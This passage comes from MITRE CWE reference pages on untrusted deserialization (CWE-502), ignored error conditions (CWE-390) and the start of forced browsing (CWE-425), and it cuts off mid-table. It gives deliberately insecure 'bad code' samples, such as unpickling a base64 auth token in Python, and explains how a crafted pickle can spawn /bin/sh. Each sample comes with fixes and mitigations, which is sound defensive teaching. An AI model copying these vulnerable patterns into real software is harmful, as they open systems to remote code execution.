Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data; Unexpected State

Attackers can modify unexpected objects or data that was assumed to be safe from modification.
Availability

Technical Impact: DoS: Resource Consumption (CPU)

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.
Other

Technical Impact: Varies by Context

The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code snippet deserializes an object from a file and uses it as a UI button:

(bad code)
Example Language: Java 
try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();
}

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

(good code)
Example Language: Java 
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }

Example 2

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

(bad code)
Example Language: Python 
try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthFail
self.secure_data = token['data']
except:
raise AuthFail
}

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

+ Observed Examples
ReferenceDescription
chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183)
Deserialization issue in commonly-used Java library allows remote execution.
Deserialization issue in commonly-used Java library allows remote execution.
Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
Use of PHP unserialize function on untrusted input in content management system might allow code execution.
Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
Python script allows local users to execute code via pickled data.
Unsafe deserialization using pickle in a Python script.
Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phases: Architecture and Design; Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1034OWASP Top Ten 2017 Category A8 - Insecure Deserialization
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1148SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1354OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1415Comprehensive Categorization: Resource Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPDeserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011)SER01-JDo not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011)SER03-JDo not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)SER06-JMake defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011)SER08-JDo not use the default serialized form for implementation defined invariants
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-461] Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015-10-28. <https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478>. URL validated: 2023-04-07.
[REF-462] Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015-08-27. <https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing>. URL validated: 2023-04-07.
[REF-463] Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015-01-28. <https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles>. URL validated: 2023-04-07.
[REF-464] Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. <https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea>. URL validated: 2023-04-07.
[REF-465] Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010-04-26. <https://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication>. URL validated: 2023-04-07.
[REF-466] Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. <http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html>. URL validated: 2023-04-07.
[REF-467] Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011-03-20. <https://blog.nelhage.com/2011/03/exploiting-pickle/>.
[REF-468] Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016-03-21. <https://speakerdeck.com/frohoff/owasp-sd-deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2017-05-03CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2020-06-25CWE Content TeamMITRE
updated Alternate_Terms, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships

CWE-390: Detection of Error Condition Without Action

Weakness ID: 390
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product detects a specific error, but takes no actions to handle the error.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.600Uncaught Exception in Servlet
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.401Missing Release of Memory after Effective Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State; Alter Execution Logic

An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

(bad code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
//We do nothing so we just ignore the error.
}

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

(good code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
printf("Malloc failed to allocate memory resources");
return -1;
}

Example 2

In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

(bad code)
Example Language: C++ 
char* readfile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}

infile.close();

return buffer;
}
catch (...) {
/* bug: insert code to handle this later */
}
}

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

(good code)
Example Language: C++ 
char* readFile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}
infile.close();

return buffer;
}
catch (char *str) {
printf("Error: %s \n", str);
infile.close();
throw str;
}
catch (...) {
printf("Error occurred trying to read from file \n");
infile.close();
throw;
}
}

Example 3

In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

(bad code)
Example Language: Java 
public String readFile(String filename) {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char[] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);
} catch (Exception ex) {
/* do nothing, but catch so it'll compile... */
}
return retString;
}

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

(good code)
Example Language: Java 
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char [] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);
} catch (FileNotFoundException ex) {
System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
System.err.println ("" + ex.getMessage() );
throw new FileNotFoundException(ex.getMessage());
} catch (IOException ex) {
System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
throw new IOException(ex);
} catch (Exception ex) {
System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
throw new Exception(ex);
}
return retString;
}
+ Observed Examples
ReferenceDescription
A GPU data center manager detects an error due to a malformed request but does not act on it, leading to memory corruption.
+ Potential Mitigations

Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Phase: Testing

Subject the product to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPImproper error handling
The CERT Oracle Secure Coding Standard for Java (2011)ERR00-JDo not suppress or ignore checked exceptions
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper Error Handling

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.
+ Extended Description
Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.
+ Alternate Terms
forced browsing:
The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.288Authentication Bypass Using an Alternate Path or Channel
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.424Improper Protection of Alternate Path
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.862Missing Authorization
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1212Authorization Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.417Communication Channel Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.862Missing Authorization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Access Control

